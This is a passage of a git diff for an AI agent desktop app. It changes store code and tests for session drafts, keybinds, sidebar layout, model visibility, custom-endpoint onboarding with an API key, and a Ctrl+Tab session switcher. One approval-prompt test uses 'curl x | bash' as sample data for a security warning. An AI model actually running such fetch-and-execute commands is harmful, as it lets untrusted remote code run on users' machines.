+ draftsBySession.delete(key)
+
+ if (text.trim() || attachments.length > 0) {
+ draftsBySession.set(key, cloneDraft({ attachments, text }))
+ }
+
+ persistDraftTexts()
+}
+
+export function takeSessionDraft(scope: string | null | undefined): SessionDraft {
+ const stashed = draftsBySession.get(draftKey(scope))
+
+ return stashed ? cloneDraft(stashed) : EMPTY_SESSION_DRAFT
+}
+
+export const clearSessionDraft = (scope: string | null | undefined) => stashSessionDraft(scope, '', [])
+
export function setComposerDraft(value: string) {
$composerDraft.set(value)
}
@@ -69,10 +151,44 @@ export function removeComposerAttachment(id: string): ComposerAttachment | null
return removed
}
+/** Replace an existing attachment in place by id. No-op (returns false) when the
+ * id is gone — e.g. the user removed the chip while an eager upload was still in
+ * flight, so a late success must NOT resurrect it. Use this instead of
+ * addComposerAttachment for async results that may land after a removal. */
+export function updateComposerAttachment(attachment: ComposerAttachment): boolean {
+ const current = $composerAttachments.get()
+ const index = current.findIndex(item => item.id === attachment.id)
+
+ if (index < 0) {
+ return false
+ }
+
+ const next = [...current]
+ next[index] = attachment
+ $composerAttachments.set(next)
+
+ return true
+}
+
export function clearComposerAttachments() {
$composerAttachments.set([])
}
+/** Update only the upload state of an existing attachment (no-op if it's gone,
+ * e.g. the user removed it mid-upload). Pass `undefined` to clear it. */
+export function setComposerAttachmentUploadState(id: string, uploadState?: ComposerAttachment['uploadState']) {
+ const current = $composerAttachments.get()
+ const index = current.findIndex(attachment => attachment.id === id)
+
+ if (index < 0) {
+ return
+ }
+
+ const next = [...current]
+ next[index] = { ...next[index]!, uploadState }
+ $composerAttachments.set(next)
+}
+
const TERMINAL_REF_RE = /@terminal:(`[^`\n]+`|"[^"\n]+"|'[^'\n]+'|\S+)/g
function unquoteRefValue(raw: string) {
diff --git a/apps/desktop/src/store/keybinds.ts b/apps/desktop/src/store/keybinds.ts
index bdbefed8682b..7ca8e574d756 100644
--- a/apps/desktop/src/store/keybinds.ts
+++ b/apps/desktop/src/store/keybinds.ts
@@ -6,6 +6,7 @@ import {
keybindAction,
type KeybindBindings
} from '@/lib/keybinds/actions'
+import { canonicalizeCombo } from '@/lib/keybinds/combo'
import { arraysEqual, persistString, storedString } from '@/lib/storage'
const STORAGE_KEY = 'hermes.desktop.keybinds'
@@ -59,14 +60,17 @@ export const $bindings = atom(loadBindings())
$bindings.subscribe(persistBindings)
// Reverse lookup combo → actionId for dispatch. First action wins on conflict;
-// the panel/edit overlay surface conflicts so users can resolve them.
+// the panel/edit overlay surface conflicts so users can resolve them. Keys go
+// through `canonicalizeCombo` so a `ctrl+…` binding resolves everywhere.
export const $comboIndex = computed($bindings, bindings => {
const index = new Map()
for (const id of KEYBIND_ACTION_IDS) {
for (const combo of bindings[id] ?? []) {
- if (!index.has(combo)) {
- index.set(combo, id)
+ const key = canonicalizeCombo(combo)
+
+ if (!index.has(key)) {
+ index.set(key, id)
}
}
}
diff --git a/apps/desktop/src/store/layout.ts b/apps/desktop/src/store/layout.ts
index 18b1ae0d1d53..b882608c7c9e 100644
--- a/apps/desktop/src/store/layout.ts
+++ b/apps/desktop/src/store/layout.ts
@@ -23,6 +23,7 @@ export const SIDEBAR_SESSIONS_PAGE_SIZE = 50
const SIDEBAR_PINNED_STORAGE_KEY = 'hermes.desktop.pinnedSessions'
const SIDEBAR_AGENTS_GROUPED_STORAGE_KEY = 'hermes.desktop.agentsGroupedByWorkspace'
const SIDEBAR_CRON_OPEN_STORAGE_KEY = 'hermes.desktop.sidebarCronOpen'
+const SIDEBAR_MESSAGING_OPEN_STORAGE_KEY = 'hermes.desktop.sidebarMessagingOpen'
const SIDEBAR_SESSION_ORDER_STORAGE_KEY = 'hermes.desktop.sessionOrder'
const SIDEBAR_WORKSPACE_ORDER_STORAGE_KEY = 'hermes.desktop.workspaceOrder'
const PANES_FLIPPED_STORAGE_KEY = 'hermes.desktop.panesFlipped'
@@ -68,6 +69,10 @@ export const $sidebarRecentsOpen = atom(true)
// default (it only renders at all when cron sessions exist) so the
// scheduler's `[IMPORTANT: …]` first-message previews don't spam recents.
export const $sidebarCronOpen = atom(storedBoolean(SIDEBAR_CRON_OPEN_STORAGE_KEY, false))
+// Messaging platform sections collapse by default (they can be numerous and
+// tall). We persist the ids the user has *explicitly expanded*, so the default
+// stays collapsed unless they've opened a platform before.
+export const $sidebarMessagingOpenIds = atom(storedStringArray(SIDEBAR_MESSAGING_OPEN_STORAGE_KEY))
export const $sidebarAgentsGrouped = atom(storedBoolean(SIDEBAR_AGENTS_GROUPED_STORAGE_KEY, false))
// When true, the sessions sidebar moves to the right and the file browser +
// preview rail move to the left — a mirror of the default layout.
@@ -77,6 +82,7 @@ export const $sessionsLimit = atom(SIDEBAR_SESSIONS_PAGE_SIZE)
$pinnedSessionIds.subscribe(ids => persistStringArray(SIDEBAR_PINNED_STORAGE_KEY, [...ids]))
$sidebarCronOpen.subscribe(open => persistBoolean(SIDEBAR_CRON_OPEN_STORAGE_KEY, open))
+$sidebarMessagingOpenIds.subscribe(ids => persistStringArray(SIDEBAR_MESSAGING_OPEN_STORAGE_KEY, [...ids]))
$sidebarSessionOrderIds.subscribe(ids => persistStringArray(SIDEBAR_SESSION_ORDER_STORAGE_KEY, [...ids]))
$sidebarWorkspaceOrderIds.subscribe(ids => persistStringArray(SIDEBAR_WORKSPACE_ORDER_STORAGE_KEY, [...ids]))
$sidebarAgentsGrouped.subscribe(grouped => persistBoolean(SIDEBAR_AGENTS_GROUPED_STORAGE_KEY, grouped))
@@ -139,6 +145,14 @@ export function setSidebarCronOpen(open: boolean) {
$sidebarCronOpen.set(open)
}
+export function toggleSidebarMessagingOpen(sourceId: string) {
+ const current = $sidebarMessagingOpenIds.get()
+
+ $sidebarMessagingOpenIds.set(
+ current.includes(sourceId) ? current.filter(id => id !== sourceId) : [...current, sourceId]
+ )
+}
+
export function setSidebarAgentsGrouped(grouped: boolean) {
$sidebarAgentsGrouped.set(grouped)
}
diff --git a/apps/desktop/src/store/model-visibility.test.ts b/apps/desktop/src/store/model-visibility.test.ts
index 483578460ad5..ce78d1a6aa77 100644
--- a/apps/desktop/src/store/model-visibility.test.ts
+++ b/apps/desktop/src/store/model-visibility.test.ts
@@ -2,7 +2,12 @@ import { describe, expect, it } from 'vitest'
import type { ModelOptionProvider } from '@/types/hermes'
-import { effectiveVisibleKeys, modelVisibilityKey } from './model-visibility'
+import {
+ effectiveVisibleKeys,
+ emptyProviderSentinelKey,
+ isProviderSentinel,
+ modelVisibilityKey
+} from './model-visibility'
const provider = (slug: string, models: string[]): ModelOptionProvider => ({
models,
@@ -34,4 +39,48 @@ describe('model visibility', () => {
expect(visible.has(modelVisibilityKey('local-ollama', 'qwen3:latest'))).toBe(true)
expect(visible.has(modelVisibilityKey('local-ollama', 'llama3.2:latest'))).toBe(false)
})
+
+ it('preserves hidden-provider sentinel without re-adding defaults', () => {
+ // User explicitly hid all models for "nous" — sentinel marks this choice.
+ const stored = new Set([emptyProviderSentinelKey('nous')])
+
+ const visible = effectiveVisibleKeys(stored, [
+ provider('nous', ['hermes-3-llama-3.1-70b', 'hermes-3-llama-3.1-8b']),
+ provider('ollama', ['qwen3:latest'])
+ ])
+
+ expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))).toBe(false)
+ expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-8b'))).toBe(false)
+ // Sentinel itself is stripped from the result.
+ expect(visible.has(emptyProviderSentinelKey('nous'))).toBe(false)
+ // Other providers still get defaults.
+ expect(visible.has(modelVisibilityKey('ollama', 'qwen3:latest'))).toBe(true)
+ })
+
+ it('restores model when toggling on after hiding all', () => {
+ // Simulates: user hid all "nous" models, then toggles one back on.
+ const stored = new Set([
+ emptyProviderSentinelKey('nous'),
+ modelVisibilityKey('ollama', 'qwen3:latest')
+ ])
+
+ // After toggle: sentinel removed, one model added.
+ const afterToggle = new Set(stored)
+ afterToggle.delete(emptyProviderSentinelKey('nous'))
+ afterToggle.add(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))
+
+ const visible = effectiveVisibleKeys(afterToggle, [
+ provider('nous', ['hermes-3-llama-3.1-70b', 'hermes-3-llama-3.1-8b']),
+ provider('ollama', ['qwen3:latest'])
+ ])
+
+ expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))).toBe(true)
+ expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-8b'))).toBe(false)
+ })
+
+ it('sentinel key helper produces correct format', () => {
+ expect(emptyProviderSentinelKey('openai')).toBe('openai::')
+ expect(isProviderSentinel('openai::')).toBe(true)
+ expect(isProviderSentinel('openai::gpt-4o')).toBe(false)
+ })
})
diff --git a/apps/desktop/src/store/model-visibility.ts b/apps/desktop/src/store/model-visibility.ts
index 9fb555a4e708..de694fe3af58 100644
--- a/apps/desktop/src/store/model-visibility.ts
+++ b/apps/desktop/src/store/model-visibility.ts
@@ -13,6 +13,19 @@ export const DEFAULT_VISIBLE_PER_PROVIDER = 50
* that contain a single colon, e.g. `model:tag`). */
export const modelVisibilityKey = (provider: string, model: string): string => `${provider}::${model}`
+/** Sentinel key suffix stored when the user explicitly hides ALL models for a
+ * provider. Distinguishes "user hid everything" from "never customized" so
+ * `effectiveVisibleKeys` does not re-add defaults for that provider. */
+export const EMPTY_PROVIDER_SENTINEL = ''
+
+/** Build the sentinel key for a provider whose last model was toggled off. */
+export const emptyProviderSentinelKey = (provider: string): string =>
+ modelVisibilityKey(provider, EMPTY_PROVIDER_SENTINEL)
+
+/** Check whether a stored key is a provider-hidden sentinel. */
+export const isProviderSentinel = (key: string): boolean =>
+ key.endsWith('::')
+
/** A model and its optional `…-fast` sibling, collapsed into one logical row.
* `id` is the canonical (base) model; `fastId` is the fast variant if present. */
export interface ModelFamily {
@@ -116,9 +129,12 @@ export function effectiveVisibleKeys(
for (const provider of providers) {
const providerPrefix = `${provider.slug}::`
- const hasStoredProvider = [...stored].some(key => key.startsWith(providerPrefix))
+ const hasStoredProvider = [...stored].some(
+ key => key.startsWith(providerPrefix) && !isProviderSentinel(key)
+ )
+ const hasSentinel = stored.has(emptyProviderSentinelKey(provider.slug))
- if (hasStoredProvider) {
+ if (hasStoredProvider || hasSentinel) {
continue
}
@@ -129,5 +145,12 @@ export function effectiveVisibleKeys(
}
}
+ // Strip sentinel keys — they are bookkeeping, not real visibility entries.
+ for (const key of [...next]) {
+ if (isProviderSentinel(key)) {
+ next.delete(key)
+ }
+ }
+
return next
}
diff --git a/apps/desktop/src/store/onboarding.test.ts b/apps/desktop/src/store/onboarding.test.ts
index 2958fd03f925..7173e89f572c 100644
--- a/apps/desktop/src/store/onboarding.test.ts
+++ b/apps/desktop/src/store/onboarding.test.ts
@@ -33,6 +33,7 @@ function baseState(overrides: Partial = {}): DesktopOnbo
requested: false,
firstRunSkipped: false,
manual: false,
+ localEndpoint: false,
...overrides
}
}
@@ -233,10 +234,12 @@ describe('OAuth onboarding', () => {
const state = $desktopOnboarding.get()
expect(state.reason).toBeNull()
expect(state.flow.status).toBe('confirming_model')
+
if (state.flow.status === 'confirming_model') {
expect(state.flow.label).toBe('Nous Portal')
expect(state.flow.currentModel).toBe(model)
}
+
expect(calls.some(c => c.path === '/api/model/set')).toBe(true)
})
})
@@ -283,7 +286,7 @@ describe('saveOnboardingLocalEndpoint', () => {
throw new Error(`unexpected api path: ${path}`)
})
- const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
+ const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
requestGateway: readyGateway()
})
@@ -313,7 +316,7 @@ describe('saveOnboardingLocalEndpoint', () => {
installApiMock(api)
const onCompleted = vi.fn()
- const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
+ const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
onCompleted,
requestGateway: readyGateway()
})
@@ -332,6 +335,46 @@ describe('saveOnboardingLocalEndpoint', () => {
expect($desktopOnboarding.get().configured).toBe(true)
})
+ it('forwards the API key to the probe and persists it for auth-gated endpoints', async () => {
+ const calls: { body?: unknown; path: string }[] = []
+
+ const api = vi.fn(async ({ body, path }: { body?: unknown; path: string }) => {
+ calls.push({ body, path })
+
+ if (path === '/api/providers/validate') {
+ return { ok: true, reachable: true, message: '', models: ['gpt-oss-120b'] }
+ }
+
+ if (path === '/api/model/set') {
+ return { ok: true, provider: 'custom', model: 'gpt-oss-120b', base_url: 'https://text.example.com/v1' }
+ }
+
+ throw new Error(`unexpected api path: ${path}`)
+ })
+
+ installApiMock(api)
+
+ const result = await saveOnboardingLocalEndpoint('https://text.example.com/v1', 'sk-secret', {
+ requestGateway: readyGateway()
+ })
+
+ expect(result.ok).toBe(true)
+
+ // The probe must receive the key so an auth-gated /v1/models enumerates.
+ const probe = calls.find(c => c.path === '/api/providers/validate')
+ expect(probe?.body).toMatchObject({ key: 'OPENAI_BASE_URL', value: 'https://text.example.com/v1', api_key: 'sk-secret' })
+
+ // And the key must be persisted alongside the endpoint for runtime auth.
+ const assign = calls.find(c => c.path === '/api/model/set')
+ expect(assign?.body).toMatchObject({
+ scope: 'main',
+ provider: 'custom',
+ model: 'gpt-oss-120b',
+ base_url: 'https://text.example.com/v1',
+ api_key: 'sk-secret'
+ })
+ })
+
it('reports the runtime reason when resolution still fails after saving', async () => {
installApiMock(async ({ path }: { path: string }) => {
if (path === '/api/providers/validate') {
@@ -361,7 +404,7 @@ describe('saveOnboardingLocalEndpoint', () => {
throw new Error(`unexpected gateway method: ${method}`)
}
- const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
+ const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
requestGateway: failingGateway
})
diff --git a/apps/desktop/src/store/onboarding.ts b/apps/desktop/src/store/onboarding.ts
index 7c8ece264693..927c0911ddab 100644
--- a/apps/desktop/src/store/onboarding.ts
+++ b/apps/desktop/src/store/onboarding.ts
@@ -72,6 +72,11 @@ export interface DesktopOnboardingState {
* picker's "Add provider" button). Forces the overlay to show the picker
* even when configured === true, and adds a close affordance. */
manual: boolean
+ /** True when the overlay was opened specifically to configure a local /
+ * custom OpenAI-compatible endpoint (e.g. from Settings → Model's "Set up
+ * custom endpoint"). Forces the API-key form with the local option
+ * preselected instead of the OAuth picker. */
+ localEndpoint: boolean
}
export interface OnboardingContext {
@@ -150,7 +155,8 @@ const INITIAL: DesktopOnboardingState = {
reason: null,
requested: false,
firstRunSkipped: readCachedSkipped(),
- manual: false
+ manual: false,
+ localEndpoint: false
}
export const $desktopOnboarding = atom(INITIAL)
@@ -392,6 +398,7 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
patch({
manual: true,
requested: true,
+ localEndpoint: false,
// `null` opts out of the prompt banner entirely (e.g. when the user already
// picked a specific provider and we auto-start its sign-in).
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
@@ -400,6 +407,24 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
void refreshProviders()
}
+// Open the onboarding overlay directly on the local / custom endpoint form
+// (URL + optional API key), bypassing the OAuth picker. Used by Settings →
+// Model's "Set up custom endpoint" so it lands on a form that can actually
+// configure the endpoint instead of dead-ending on the OAuth provider list
+// (`custom` is not an OAuth provider, so the generic manual flow would just
+// re-show the picker — the original "booted back to the first screen" loop).
+export function startManualLocalEndpoint(reason: null | string = null) {
+ pendingProviderOAuthId = null
+ patch({
+ manual: true,
+ requested: true,
+ localEndpoint: true,
+ mode: 'apikey',
+ reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
+ flow: { status: 'idle' }
+ })
+}
+
// One-shot hand-off used when the dedicated Providers settings page launches a
// specific provider's sign-in: we open the manual onboarding overlay AND
// remember which provider to start, so the overlay drives that exact OAuth
@@ -431,7 +456,7 @@ export function clearPendingProviderOAuth() {
export function closeManualOnboarding() {
pendingProviderOAuthId = null
- patch({ manual: false, requested: false, flow: { status: 'idle' } })
+ patch({ manual: false, requested: false, localEndpoint: false, flow: { status: 'idle' } })
}
export function completeDesktopOnboarding() {
@@ -448,7 +473,8 @@ export function completeDesktopOnboarding() {
reason: null,
requested: false,
firstRunSkipped: false,
- manual: false
+ manual: false,
+ localEndpoint: false
})
}
@@ -461,7 +487,7 @@ export function completeDesktopOnboarding() {
export function dismissFirstRunOnboarding() {
clearPoll()
writeCachedSkipped(true)
- patch({ firstRunSkipped: true, requested: false, manual: false, flow: { status: 'idle' } })
+ patch({ firstRunSkipped: true, requested: false, manual: false, localEndpoint: false, flow: { status: 'idle' } })
}
export function setOnboardingMode(mode: OnboardingMode) {
@@ -701,18 +727,28 @@ export async function recheckExternalSignin(ctx: OnboardingContext) {
)
}
-export async function saveOnboardingApiKey(envKey: string, value: string, label: string, ctx: OnboardingContext) {
+export async function saveOnboardingApiKey(
+ envKey: string,
+ value: string,
+ label: string,
+ ctx: OnboardingContext,
+ // Optional endpoint key — only meaningful for the "Local / custom endpoint"
+ // option, whose primary `value` is the base URL. Ignored for plain API-key
+ // providers (their key IS `value`).
+ endpointApiKey?: string
+) {
const trimmed = value.trim()
if (!trimmed) {
return { ok: false, message: 'Enter a value first.' }
}
- // The "Local / custom endpoint" option carries a base URL, not an API key.
- // It must be wired into config (provider=custom + base_url + model), not
- // dropped into .env — runtime resolution ignores OPENAI_BASE_URL.
+ // The "Local / custom endpoint" option carries a base URL (in `value`) plus
+ // an optional API key. It must be wired into config (provider=custom +
+ // base_url + model + api_key), not dropped into .env — runtime resolution
+ // ignores OPENAI_BASE_URL.
if (envKey === 'OPENAI_BASE_URL') {
- return saveOnboardingLocalEndpoint(trimmed, ctx)
+ return saveOnboardingLocalEndpoint(trimmed, endpointApiKey?.trim() ?? '', ctx)
}
// No key validation here on purpose: we previously live-probed the key and
@@ -748,14 +784,17 @@ export async function saveOnboardingApiKey(envKey: string, value: string, label:
// env var that resolution never consults.
//
// The model is auto-discovered from the endpoint's /v1/models (surfaced by the
-// validate probe) so the user only has to paste a URL — no extra UI field.
+// validate probe). The optional API key is forwarded to the probe (so hosted
+// endpoints that gate /v1/models behind auth still enumerate models) and
+// persisted to model.api_key so the runtime can authenticate.
//
// We deliberately don't route through completeWithModelConfirm: that path
// re-assigns the model from /api/model/options WITHOUT a base_url, which would
// wipe the base_url we just wrote. We have a concrete model already, so we
// verify the runtime directly and finish.
-export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: OnboardingContext) {
+export async function saveOnboardingLocalEndpoint(baseUrl: string, apiKey: string, ctx: OnboardingContext) {
const url = baseUrl.trim()
+ const key = apiKey.trim()
if (!url) {
return { ok: false, message: 'Enter the endpoint URL first.' }
@@ -767,7 +806,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
let model = ''
try {
- const probe = await validateProviderCredential('OPENAI_BASE_URL', url)
+ const probe = await validateProviderCredential('OPENAI_BASE_URL', url, key)
if (!probe.ok && probe.reachable) {
return { ok: false, message: probe.message || 'Could not reach that endpoint.' }
@@ -790,7 +829,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
}
try {
- await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url })
+ await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url, api_key: key })
await ctx.requestGateway('reload.env').catch(() => undefined)
const runtime = await checkRuntime(ctx)
diff --git a/apps/desktop/src/store/preview.ts b/apps/desktop/src/store/preview.ts
index 3fff6a240863..65c2b887d500 100644
--- a/apps/desktop/src/store/preview.ts
+++ b/apps/desktop/src/store/preview.ts
@@ -6,6 +6,11 @@ import { $activeSessionId, $selectedStoredSessionId } from './session'
export interface PreviewTarget {
binary?: boolean
byteSize?: number
+ /** Inline image bytes (a `data:` URL) when the renderer already holds them —
+ * e.g. a pasted/dropped screenshot whose only on-disk copy is a transient
+ * path the preview can't reliably re-read. Rendered directly and NOT
+ * persisted to the session-preview registry (it would bloat localStorage). */
+ dataUrl?: string
kind: 'file' | 'url'
label: string
large?: boolean
@@ -214,7 +219,11 @@ function persistSessionPreviewRegistry(registry: SessionPreviewRegistry) {
}
try {
- window.localStorage.setItem(REGISTRY_STORAGE_KEY, JSON.stringify(pruneRegistry(registry)))
+ // Drop the inline image bytes before persisting — a screenshot data URL is
+ // megabytes and would blow the localStorage quota. On reload the record
+ // falls back to reading its `path`/`url`.
+ const lean = JSON.stringify(pruneRegistry(registry), (key, value) => (key === 'dataUrl' ? undefined : value))
+ window.localStorage.setItem(REGISTRY_STORAGE_KEY, lean)
} catch {
// Session previews are a desktop convenience; storage failures are nonfatal.
}
diff --git a/apps/desktop/src/store/prompts.test.ts b/apps/desktop/src/store/prompts.test.ts
index 7e454639acea..d6ddeabf1970 100644
--- a/apps/desktop/src/store/prompts.test.ts
+++ b/apps/desktop/src/store/prompts.test.ts
@@ -53,6 +53,12 @@ describe('approval prompt store', () => {
expect($approvalRequest.get()).toBeNull()
})
+
+ it('carries allowPermanent so the bar can hide "Always allow"', () => {
+ setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })
+
+ expect($approvalRequest.get()?.allowPermanent).toBe(false)
+ })
})
describe('sudo prompt store', () => {
diff --git a/apps/desktop/src/store/prompts.ts b/apps/desktop/src/store/prompts.ts
index 76780a3b6dc3..a514556d102f 100644
--- a/apps/desktop/src/store/prompts.ts
+++ b/apps/desktop/src/store/prompts.ts
@@ -68,6 +68,8 @@ function keyedPromptStore(): PromptStore {
// resolved via approval.respond {choice, session_id}). It carries no request_id,
// unlike sudo/secret which are _block()-style request/response.
export interface ApprovalRequest extends KeyedPrompt {
+ // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+ allowPermanent?: boolean
command: string
description: string
}
diff --git a/apps/desktop/src/store/session-switcher.test.ts b/apps/desktop/src/store/session-switcher.test.ts
new file mode 100644
index 000000000000..4e9da076362f
--- /dev/null
+++ b/apps/desktop/src/store/session-switcher.test.ts
@@ -0,0 +1,115 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { SessionInfo } from '@/types/hermes'
+
+import { $selectedStoredSessionId, $sessions } from './session'
+import {
+ $switcherIndex,
+ $switcherOpen,
+ $switcherSessions,
+ closeSwitcher,
+ commitOnCtrlUp,
+ onSwitcherTabDown,
+ onSwitcherTabUp,
+ openOrAdvanceSwitcher,
+ slotSessionId,
+ SWITCHER_REVEAL_MS
+} from './session-switcher'
+
+const session = (id: string): SessionInfo => ({ id }) as SessionInfo
+
+const seed = (ids: string[], selected: null | string) => {
+ $sessions.set(ids.map(session))
+ $selectedStoredSessionId.set(selected)
+}
+
+const tabTap = (direction: 1 | -1 = 1) => {
+ onSwitcherTabDown()
+ const target = openOrAdvanceSwitcher(direction)
+ onSwitcherTabUp()
+
+ return target
+}
+
+beforeEach(() => {
+ vi.useRealTimers()
+ closeSwitcher()
+ $switcherSessions.set([])
+ $switcherIndex.set(0)
+})
+
+afterEach(() => {
+ seed([], null)
+})
+
+describe('openOrAdvanceSwitcher', () => {
+ it('does nothing with fewer than two sessions', () => {
+ seed(['a'], 'a')
+ onSwitcherTabDown()
+
+ expect(openOrAdvanceSwitcher(1)).toBeNull()
+ })
+
+ it('jumps immediately on a quick Tab tap without opening the HUD', () => {
+ seed(['a', 'b', 'c'], 'a')
+
+ expect(tabTap()).toBe('b')
+ expect($switcherOpen.get()).toBe(false)
+ expect(commitOnCtrlUp()).toBeNull()
+ })
+
+ it('does not open the HUD when Ctrl stays down but Tab was released quickly', () => {
+ vi.useFakeTimers()
+ seed(['a', 'b', 'c'], 'a')
+
+ tabTap()
+ vi.advanceTimersByTime(SWITCHER_REVEAL_MS)
+
+ expect($switcherOpen.get()).toBe(false)
+ })
+
+ it('opens the HUD when Tab stays held past the reveal delay', () => {
+ vi.useFakeTimers()
+ seed(['a', 'b', 'c'], 'a')
+
+ onSwitcherTabDown()
+ openOrAdvanceSwitcher(1)
+ vi.advanceTimersByTime(SWITCHER_REVEAL_MS)
+
+ expect($switcherOpen.get()).toBe(true)
+ onSwitcherTabUp()
+ })
+
+ it('opens on a second Tab while Ctrl is still down', () => {
+ seed(['a', 'b', 'c'], 'a')
+
+ expect(tabTap()).toBe('b')
+ onSwitcherTabDown()
+ openOrAdvanceSwitcher(1)
+ onSwitcherTabUp()
+
+ expect($switcherOpen.get()).toBe(true)
+ expect($switcherIndex.get()).toBe(2)
+ })
+
+ it('commits the HUD highlight on Ctrl up', () => {
+ seed(['a', 'b', 'c'], 'a')
+
+ expect(tabTap()).toBe('b')
+ onSwitcherTabDown()
+ openOrAdvanceSwitcher(1)
+ onSwitcherTabUp()
+
+ expect(commitOnCtrlUp()).toBe('c')
+ })
+})
+
+describe('slotSessionId', () => {
+ it('reads the armed snapshot while browsing is pending', () => {
+ seed(['a', 'b', 'c'], 'a')
+ tabTap()
+ $sessions.set([session('x')])
+
+ expect(slotSessionId(2)).toBe('b')
+ })
+})
diff --git a/apps/desktop/src/store/session-switcher.ts b/apps/desktop/src/store/session-switcher.ts
new file mode 100644
index 000000000000..4c8943376e96
--- /dev/null
+++ b/apps/desktop/src/store/session-switcher.ts
@@ -0,0 +1,128 @@
+import { atom } from 'nanostores'
+
+import type { SessionInfo } from '@/types/hermes'
+
+import { $selectedStoredSessionId, $sessions } from './session'
+
+// Mac-style session switcher (^Tab). Quick tap jumps on keydown; the HUD opens
+// only when Tab is held past REVEAL_MS or tapped again while Ctrl is down.
+
+export const SWITCHER_REVEAL_MS = 220
+
+export const $switcherOpen = atom(false)
+export const $switcherSessions = atom([])
+export const $switcherIndex = atom(0)
+
+const wrap = (index: number, length: number): number => ((index % length) + length) % length
+
+let pendingBrowse = false
+let revealTimer: ReturnType | null = null
+let tabHeld = false
+let closedAt = 0
+
+function clearRevealTimer(): void {
+ if (revealTimer) {
+ clearTimeout(revealTimer)
+ revealTimer = null
+ }
+}
+
+function revealOverlay(): void {
+ pendingBrowse = false
+ $switcherOpen.set(true)
+}
+
+function scheduleReveal(): void {
+ clearRevealTimer()
+ revealTimer = setTimeout(() => {
+ revealTimer = null
+
+ if (pendingBrowse && tabHeld) {
+ revealOverlay()
+ }
+ }, SWITCHER_REVEAL_MS)
+}
+
+export function onSwitcherTabDown(): void {
+ tabHeld = true
+}
+
+export function onSwitcherTabUp(): void {
+ tabHeld = false
+
+ if (!$switcherOpen.get()) {
+ clearRevealTimer()
+ }
+}
+
+// First Tab returns a session id to jump to immediately; later Tabs move the
+// highlight (Ctrl↑ commits when the HUD is open).
+export function openOrAdvanceSwitcher(direction: 1 | -1): string | null {
+ const sessions = $sessions.get()
+
+ if (sessions.length < 2) {
+ return null
+ }
+
+ if ($switcherOpen.get()) {
+ const { length } = $switcherSessions.get()
+
+ if (length) {
+ $switcherIndex.set(wrap($switcherIndex.get() + direction, length))
+ }
+
+ return null
+ }
+
+ const current = sessions.findIndex(session => session.id === $selectedStoredSessionId.get())
+ const start = current === -1 ? (direction === 1 ? -1 : 0) : current
+ const nextIndex = wrap(start + direction, sessions.length)
+
+ $switcherSessions.set(sessions)
+ $switcherIndex.set(nextIndex)
+
+ if (pendingBrowse) {
+ clearRevealTimer()
+ $switcherIndex.set(wrap($switcherIndex.get() + direction, sessions.length))
+ revealOverlay()
+
+ return null
+ }
+
+ pendingBrowse = true
+ scheduleReveal()
+
+ return sessions[nextIndex]?.id ?? null
+}
+
+export const highlightedSessionId = (): string | null =>
+ $switcherSessions.get()[$switcherIndex.get()]?.id ?? null
+
+export const slotSessionId = (slot: number): string | null =>
+ ($switcherOpen.get() || pendingBrowse ? $switcherSessions.get() : $sessions.get())[slot - 1]?.id ?? null
+
+export function closeSwitcher(): void {
+ closedAt = Date.now()
+ clearRevealTimer()
+ pendingBrowse = false
+ tabHeld = false
+ $switcherOpen.set(false)
+}
+
+export function commitOnCtrlUp(): string | null {
+ clearRevealTimer()
+ pendingBrowse = false
+
+ if (!$switcherOpen.get()) {
+ return null
+ }
+
+ const target = highlightedSessionId()
+ closeSwitcher()
+
+ return target
+}
+
+export const switcherJustClosed = (): boolean => Date.now() - closedAt < 400
+
+export const switcherActive = (): boolean => $switcherOpen.get() || pendingBrowse
diff --git a/apps/desktop/src/store/session.test.ts b/apps/desktop/src/store/session.test.ts
index 7aa8ae20d8af..bc7866e60b12 100644
--- a/apps/desktop/src/store/session.test.ts
+++ b/apps/desktop/src/store/session.test.ts
@@ -3,13 +3,19 @@ import { afterEach, describe, expect, it, vi } from 'vitest'
import type { SessionInfo } from '@/types/hermes'
import {
+ $activeSessionId,
$attentionSessionIds,
+ $connection,
+ $currentCwd,
$workingSessionIds,
+ applyConfiguredDefaultProjectDir,
getRecentlySettledSessionIds,
mergeSessionPage,
sessionPinId,
+ setCurrentCwd,
setSessionAttention,
- setSessionWorking
+ setSessionWorking,
+ workspaceCwdForNewSession
} from './session'
const session = (over: Partial): SessionInfo => ({
@@ -129,13 +135,112 @@ describe('mergeSessionPage', () => {
it('keeps a pinned session matched by its lineage root after compression', () => {
// The pin is stored on the lineage-root id, but the loaded row surfaces
// under its live compression tip. Matching on _lineage_root_id keeps it.
- const previous = [session({ id: 'tip', _lineage_root_id: 'root' })]
- const incoming = [session({ id: 'other' })]
+ const previous = [session({ id: 'tip', _lineage_root_id: 'root' })] as SessionInfo[]
+ const incoming = [session({ id: 'other' })] as SessionInfo[]
const merged = mergeSessionPage(previous, incoming, ['root'])
expect(merged.map(s => s.id)).toEqual(['tip', 'other'])
})
+
+ it('evicts an old compression tip when the incoming page has the new tip from the same lineage', () => {
+ // Repro of #43483: after auto-compression rotates the tip (#4 → #5),
